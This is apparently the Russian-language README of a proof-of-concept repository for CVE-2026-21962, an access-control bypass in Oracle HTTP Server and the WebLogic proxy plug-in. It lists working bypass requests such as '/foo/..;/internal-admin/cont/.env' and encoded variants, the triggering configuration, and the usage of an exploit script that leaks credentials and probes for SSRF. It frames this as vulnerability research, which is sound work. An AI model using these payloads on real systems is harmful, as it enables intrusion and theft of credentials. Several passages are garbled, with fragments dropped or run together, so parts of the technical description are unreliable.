
Проверенный PoC и анализ для CVE-2026-21962 — обход контроля доступа в Oracle HTTP Server/WebLogic Proxy Plug-in через несогласованность нормализации URI, с эксплойт-скриптом и доказательствами.
Независимо воспроизведённый эксплойт и анализ для CVE-2026-21962 (некорректный контроль доступа, CVSS 10.0) в Oracle HTTP Server / Proxy Plug-in Oracle WebLogic Server для Apache HTTP Server.
Статус: подтверждено на живых OHS 12.2.1.4.0 и 14.1.2.0.0 перед WebLogic Server 12.2.1.4.
Внешний интерфейс (OHS + mod_wl_ohs) и серверная часть (WebLogic) нормализуют
..; по-разному. Запрос вида:
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
обходит правило защиты внешнего интерфейса <Location /internal-admin>, потому
что OHS не схлопывает ..;, тогда как WebLogic ( = параметр
пути сервлета, = родительский каталог). Серверная часть затем обслуживает
защищённый путь. Результат: (CWE-284).
;..mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)
перед WebLogic Server 12.2.1.4.mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)
перед WebLogic Server 12.2.1.4..env):
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404), что доказывает обход.X-ORACLE-DMS-*, что доказывает подлинный
ответ серверной части (WebLogic)./internal-admin/... (GET /foo/../internal-admin/... 200).evidence/).poc-factcheck.md).isapi_wl, затронут в
12.2.1.4.0). Ожидается тот же механизм (разрешение пути сервлета на
серверной части), но он не был воспроизведён на Windows.analysis/patch-analysis.md).| роль | компонент | версия |
|---|---|---|
| внешний интерфейс | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| плагин | mod_wl_ohs | 12.2.1.4 (190912) / 14.1.2 (250908) |
| серверная часть | Oracle WebLogic Server | 12.2.1.4 |
| защищённое приложение | /internal-admin/cont/.env (вымышленные учётные данные) | — |
Используемая конфигурация внешнего интерфейса (минимальный триггер):
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
Тот же запрос, тот же внешний интерфейс, та же серверная часть — изменена
только обработка ..; внешним интерфейсом.
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| конфигурация | HTTP | утечка | серверная часть достигнута |
|---|---|---|---|
| уязвимая | 200 | да (учётные данные .env) | да (X-ORACLE-DMS-*) |
| пропатченная (исправленная нормализация) | 404 | нет | нет |
Сырые доказательства (запрос / ответ / журналы сервера):
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy : автоматическое определение префикса прокси WLSRequest (например, /foo).-c : защищённый путь на серверной части (по умолчанию internal-admin/cont/.env).--check LEAK|SSRF|ALL.X-ORACLE-DMS-*; контрольный
(прямой) запрос должен быть заблокирован для положительного вердикта.Подробности см. в exploit/README.md. Используйте только против систем, на
тестирование которых у вас есть разрешение.
.
├── README.md этот файл
├── exploit/
│ ├── CVE-2026-21962.py проверенный PoC (детерминированная проверка утечки)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt, response.txt, server-log.txt
│ └── patched/ request.txt, response.txt, server-log.txt
├── analysis/
│ ├── root-cause.md анализ несоответствия нормализации
│ └── patch-analysis.md бинарный дифф + A/B, эквивалентный патчу
└── poc-factcheck.md таблица достоверности публичных PoC + детали по каждому PoC
Активные инструменты обнаружения / сопоставления (отпечаток, слепой зонд,
карта нормализации), работающие БЕЗ знания защищённого пути, хранятся отдельно
в ../../probe/.
exploit/CVE-2026-21962.py
SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75aЭтот материал предоставлен для исследований уязвимостей и защитной валидации.
Не используйте против систем без авторизации. Содержимое .env в
доказательствах вымышлено; реальные учётные данные не включены.